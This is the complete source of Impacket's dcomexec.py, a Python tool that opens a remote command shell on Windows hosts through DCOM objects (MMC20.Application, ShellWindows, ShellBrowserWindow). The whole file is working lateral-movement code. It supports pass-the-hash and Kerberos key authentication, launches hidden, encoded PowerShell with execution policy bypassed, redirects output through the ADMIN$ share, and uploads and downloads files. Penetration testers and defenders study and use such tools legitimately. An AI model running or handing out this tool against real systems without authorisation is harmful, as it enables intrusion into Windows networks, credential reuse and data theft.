dcomexec.py

#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies 
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   A similar approach to psexec but executing commands through DCOM.
#   You can select different objects to be used to execute the commands.
#   Currently supported objects are:
#     1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2
#     2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2
#     3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2
#
#   Drawback is it needs DCOM, hence, I have to be able to access
#   DCOM ports at the target machine.
#
#   Original discovery by Matt Nelson (@enigma0x3):
#   https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
#   https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
#
# Author:
#   beto (@agsolino)
#   Marcello (@byt3bl33d3r)
#
# Reference for:
#  DCOM
#
# ToDo:
#   [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
#       getInterface() method
#

from __future__ import division
from __future__ import print_function
import argparse
import cmd
import logging
import ntpath
import os
import sys
import time
from base64 import b64encode

from six import PY2, PY3
from impacket import version
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
    VARIANT, VARENUM, DISPATCH_METHOD
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
    IRemUnknown2, INTERFACE
from impacket.dcerpc.v5.dtypes import NULL
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.krb5.keytab import Keytab

OUTPUT_FILENAME = '__' + str(time.time())[:5]
CODEC = sys.stdout.encoding

class DCOMEXEC:
    def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
                 noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None, shell_type=None):
        self.__command = command
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = aesKey
        self.__share = share
        self.__noOutput = noOutput
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost
        self.__dcomObject = dcomObject
        self.__shell_type = shell_type
        self.shell = None
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')

    def getInterface(self, interface, resp):
        # Now let's parse the answer and build an Interface instance
        objRefType = OBJREF(b''.join(resp))['flags']
        objRef = None
        if objRefType == FLAGS_OBJREF_CUSTOM:
            objRef = OBJREF_CUSTOM(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_HANDLER:
            objRef = OBJREF_HANDLER(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_STANDARD:
            objRef = OBJREF_STANDARD(b''.join(resp))
        elif objRefType == FLAGS_OBJREF_EXTENDED:
            objRef = OBJREF_EXTENDED(b''.join(resp))
        else:
            logging.error("Unknown OBJREF Type! 0x%x" % objRefType)

        return IRemUnknown2(
            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
                      target=interface.get_target()))

    def run(self, addr, silentCommand=False):
        if self.__noOutput is False and silentCommand is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document',))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)
            else:
                resp = iDocument.GetIDsOfNames(('Application',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand)

            if self.__command != ' ':
                try:
                    self.shell.onecmd(self.__command)
                except TypeError:
                    if not silentCommand:
                        raise
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()

class RemoteShell(cmd.Cmd):
    def __init__(self, share, quit, executeShellCommand, smbConnection, shell_type, silentCommand=False):
        cmd.Cmd.__init__(self)
        self._share = share
        self._output = '\\' + OUTPUT_FILENAME
        self.__outputBuffer = ''
        self._shell = 'cmd.exe'
        self.__shell_type = shell_type
        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
        self.__quit = quit
        self._executeShellCommand = executeShellCommand
        self.__transferClient = smbConnection
        self._silentCommand = silentCommand
        self._pwd = 'C:\\windows\\system32'
        self._noOutput = False
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'

        # We don't wanna deal with timeouts from now on.
        if self.__transferClient is not None:
            self.__transferClient.setTimeout(100000)
            self.do_cd('\\')
        else:
            self._noOutput = True

    def do_shell(self, s):
        os.system(s)

    def do_help(self, line):
        print("""
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 lput {src_file, dst_path}   - uploads a local file to the dst_path (dst_path = default current directory)
 lget {file}                 - downloads pathname to the current local dir
 ! {cmd}                    - executes a local shell cmd
""")

    def do_lcd(self, s):
        if s == '':
            print(os.getcwd())
        else:
            try:
                os.chdir(s)
            except Exception as e:
                logging.error(str(e))

    def do_lget(self, src_path):
        try:
            import ntpath
            newPath = ntpath.normpath(ntpath.join(self._pwd, src_path))
            drive, tail = ntpath.splitdrive(newPath)
            filename = ntpath.basename(tail)
            fh = open(filename,'wb')
            logging.info("Downloading %s\\%s" % (drive, tail))
            self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
            fh.close()
        except Exception as e:
            logging.error(str(e))
            os.remove(filename)
            pass

    def do_lput(self, s):
        try:
            params = s.split(' ')
            if len(params) > 1:
                src_path = params[0]
                dst_path = params[1]
            elif len(params) == 1:
                src_path = params[0]
                dst_path = ''

            src_file = os.path.basename(src_path)
            fh = open(src_path, 'rb')
            dst_path = dst_path.replace('/','\\')
            import ntpath
            pathname = ntpath.join(ntpath.join(self._pwd, dst_path), src_file)
            drive, tail = ntpath.splitdrive(pathname)
            logging.info("Uploading %s to %s" % (src_file, pathname))
            self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
            fh.close()
        except Exception as e:
            logging.critical(str(e))
            pass

    def do_exit(self, s):
        dispParams = DISPPARAMS(None, False)
        dispParams['rgvarg'] = NULL
        dispParams['rgdispidNamedArgs'] = NULL
        dispParams['cArgs'] = 0
        dispParams['cNamedArgs'] = 0

        self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
                                             0, [], [])
        return True

    def do_EOF(self, s):
        print()
        return self.do_exit(s)

    def emptyline(self):
        return False

    def do_cd(self, s):
        self.execute_remote('cd ' + s)
        if len(self.__outputBuffer.strip('\r\n')) > 0:
            print(self.__outputBuffer)
            self.__outputBuffer = ''
        else:
            if PY2:
                self._pwd = ntpath.normpath(ntpath.join(self._pwd, s.decode(sys.stdin.encoding)))
            else:
                self._pwd = ntpath.normpath(ntpath.join(self._pwd, s))
            self.execute_remote('cd ')
            self._pwd = self.__outputBuffer.strip('\r\n')
            self.prompt = (self._pwd + '>')
            if self.__shell_type == 'powershell':
                    self.prompt = 'PS ' + self.prompt + ' '
            self.__outputBuffer = ''

    def default(self, line):
        # Let's try to guess if the user is trying to change drive
        if len(line) == 2 and line[1] == ':':
            # Execute the command and see if the drive is valid
            self.execute_remote(line)
            if len(self.__outputBuffer.strip('\r\n')) > 0:
                # Something went wrong
                print(self.__outputBuffer)
                self.__outputBuffer = ''
            else:
                # Drive valid, now we should get the current path
                self._pwd = line
                self.execute_remote('cd ')
                self._pwd = self.__outputBuffer.strip('\r\n')
                self.prompt = (self._pwd + '>')
                if self.__shell_type == 'powershell':
                    self.prompt = 'PS ' + self.prompt + ' '
                self.__outputBuffer = ''
        else:
            if line != '':
                self.send_data(line)

    def get_output(self):
        def output_callback(data):
            try:
                self.__outputBuffer += data.decode(CODEC)
            except UnicodeDecodeError:
                logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
                              'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute dcomexec.py '
                              'again with -codec and the corresponding codec')
                self.__outputBuffer += data.decode(CODEC, errors='replace')

        if self._noOutput is True:
            self.__outputBuffer = ''
            return

        while True:
            try:
                self.__transferClient.getFile(self._share, self._output, output_callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >=0:
                    # Output not finished, let's wait
                    time.sleep(1)
                    pass
                elif str(e).find('Broken') >= 0:
                    # The SMB Connection might have timed out, let's try reconnecting
                    logging.debug('Connection broken, trying to recreate it')
                    self.__transferClient.reconnect()
                    return self.get_output()
        self.__transferClient.deleteFile(self._share, self._output)

    def execute_remote(self, data, shell_type='cmd'):
        if self._silentCommand is True:
            self._shell = data.split()[0]
            command = ' '.join(data.split()[1:])
        else:
            if shell_type == 'powershell':
                data = '$ProgressPreference="SilentlyContinue";' + data
                data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
            command = '/Q /c ' + data

        if self._noOutput is False:
            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'

        logging.debug('Executing: %s' % command)

        dispParams = DISPPARAMS(None, False)
        dispParams['rgdispidNamedArgs'] = NULL
        dispParams['cArgs'] = 5
        dispParams['cNamedArgs'] = 0
        arg0 = VARIANT(None, False)
        arg0['clSize'] = 5
        arg0['vt'] = VARENUM.VT_BSTR
        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg0['_varUnion']['bstrVal']['asData'] = self._shell

        arg1 = VARIANT(None, False)
        arg1['clSize'] = 5
        arg1['vt'] = VARENUM.VT_BSTR
        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
        if PY3:
            arg1['_varUnion']['bstrVal']['asData'] = command
        else:
            arg1['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)

        arg2 = VARIANT(None, False)
        arg2['clSize'] = 5
        arg2['vt'] = VARENUM.VT_BSTR
        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg2['_varUnion']['bstrVal']['asData'] = self._pwd

        arg3 = VARIANT(None, False)
        arg3['clSize'] = 5
        arg3['vt'] = VARENUM.VT_BSTR
        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg3['_varUnion']['bstrVal']['asData'] = ''

        arg4 = VARIANT(None, False)
        arg4['clSize'] = 5
        arg4['vt'] = VARENUM.VT_BSTR
        arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg4['_varUnion']['bstrVal']['asData'] = '0'
        dispParams['rgvarg'].append(arg4)
        dispParams['rgvarg'].append(arg3)
        dispParams['rgvarg'].append(arg2)
        dispParams['rgvarg'].append(arg1)
        dispParams['rgvarg'].append(arg0)

        #print(dispParams.dump())

        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
                                            0, [], [])
        self.get_output()

    def send_data(self, data):
        self.execute_remote(data, self.__shell_type)
        print(self.__outputBuffer)
        self.__outputBuffer = ''

class RemoteShellMMC20(RemoteShell):
    def execute_remote(self, data, shell_type='cmd'):
        if self._silentCommand is True:
            self._shell = data.split()[0]
            command = ' '.join(data.split()[1:])
        else:
            if shell_type == 'powershell':
                data = '$ProgressPreference="SilentlyContinue";' + data
                data = self._RemoteShell__pwsh + b64encode(data.encode('utf-16le')).decode()
            command = '/Q /c ' + data

        if self._noOutput is False:
            command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output  + ' 2>&1'

        dispParams = DISPPARAMS(None, False)
        dispParams['rgdispidNamedArgs'] = NULL
        dispParams['cArgs'] = 4
        dispParams['cNamedArgs'] = 0
        arg0 = VARIANT(None, False)
        arg0['clSize'] = 5
        arg0['vt'] = VARENUM.VT_BSTR
        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg0['_varUnion']['bstrVal']['asData'] = self._shell

        arg1 = VARIANT(None, False)
        arg1['clSize'] = 5
        arg1['vt'] = VARENUM.VT_BSTR
        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg1['_varUnion']['bstrVal']['asData'] = self._pwd

        arg2 = VARIANT(None, False)
        arg2['clSize'] = 5
        arg2['vt'] = VARENUM.VT_BSTR
        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
        if PY3:
            arg2['_varUnion']['bstrVal']['asData'] = command
        else:
            arg2['_varUnion']['bstrVal']['asData'] = command.decode(sys.stdin.encoding)

        arg3 = VARIANT(None, False)
        arg3['clSize'] = 5
        arg3['vt'] = VARENUM.VT_BSTR
        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
        arg3['_varUnion']['bstrVal']['asData'] = '7'
        dispParams['rgvarg'].append(arg3)
        dispParams['rgvarg'].append(arg2)
        dispParams['rgvarg'].append(arg1)
        dispParams['rgvarg'].append(arg0)

        self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
                                            0, [], [])
        self.get_output()

class AuthFileSyntaxError(Exception):

    '''raised by load_smbclient_auth_file if it encounters a syntax error
    while loading the smbclient-style authentication file.'''

    def __init__(self, path, lineno, reason):
        self.path=path
        self.lineno=lineno
        self.reason=reason

    def __str__(self):
        return 'Syntax error in auth file %s line %d: %s' % (
            self.path, self.lineno, self.reason )

def load_smbclient_auth_file(path):

    '''Load credentials from an smbclient-style authentication file (used by
    smbclient, mount.cifs and others).  returns (domain, username, password)
    or raises AuthFileSyntaxError or any I/O exceptions.'''

    lineno=0
    domain=None
    username=None
    password=None
    for line in open(path):
        lineno+=1

        line = line.strip()

        if line.startswith('#') or line=='':
            continue

        parts = line.split('=',1)
        if len(parts) != 2:
            raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')

        (k,v) = (parts[0].strip(), parts[1].strip())

        if k=='username':
            username=v
        elif k=='password':
            password=v
        elif k=='domain':
            domain=v
        else:
            raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))

    return (domain, username, password)

# Process command-line arguments.
if __name__ == '__main__':
    print(version.BANNER)

    parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using the "
                                                                    "ShellBrowserWindow DCOM object.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
                                                                           '(default ADMIN$)')
    parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
                                                                                '(no SMB connection created)')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
                                                       '"%s"). If errors are detected, run chcp.com at the target, '
                                                       'map the result with '
                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py '
                          'again with -codec and the corresponding codec ' % CODEC)
    parser.add_argument('-object', choices=['ShellWindows', 'ShellBrowserWindow', 'MMC20'], nargs='?', default='ShellWindows',
                        help='DCOM object to be used to execute the shell command (default=ShellWindows)')
    parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, '
                        'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7')
    parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose '
                        'a command processor for the semi-interactive shell')
    parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
                                                                  'launch a semi-interactive shell')
    parser.add_argument('-silentcommand', action='store_true', default = False,
                        help='does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
                       'ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')
    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
                       'ommited it use the domain part (FQDN) specified in the target parameter')
    group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
                                                                        "See smbclient man page's -A option.")
    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    # Init the example's logger theme
    logger.init(options.ts)

    if options.codec is not None:
        CODEC = options.codec
    else:
        if CODEC is None:
            CODEC = 'utf-8'

    if ' '.join(options.command) == ' ' and options.nooutput is True:
        logging.error("-nooutput switch and interactive shell not supported")
        sys.exit(1)
    if options.silentcommand and options.command == ' ':
        logging.error("-silentcommand switch and interactive shell not supported")
        sys.exit(1)

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    if options.com_version is not None:
        try:
            major_version, minor_version = options.com_version.split('.')
            COMVERSION.set_default_version(int(major_version), int(minor_version))
        except Exception:
            logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"")
            sys.exit(1)

    domain, username, password, address = parse_target(options.target)

    try:
        if options.A is not None:
            (domain, username, password) = load_smbclient_auth_file(options.A)
            logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))

        if domain is None:
            domain = ''

        if options.keytab is not None:
            Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
            options.k = True

        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
            from getpass import getpass
            password = getpass("Password:")

        if options.aesKey is not None:
            options.k = True

        executer = DCOMEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
                            options.share, options.nooutput, options.k, options.dc_ip, options.object, options.shell_type)
        executer.run(address, options.silentcommand)
    except (Exception, KeyboardInterrupt) as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
    sys.exit(0)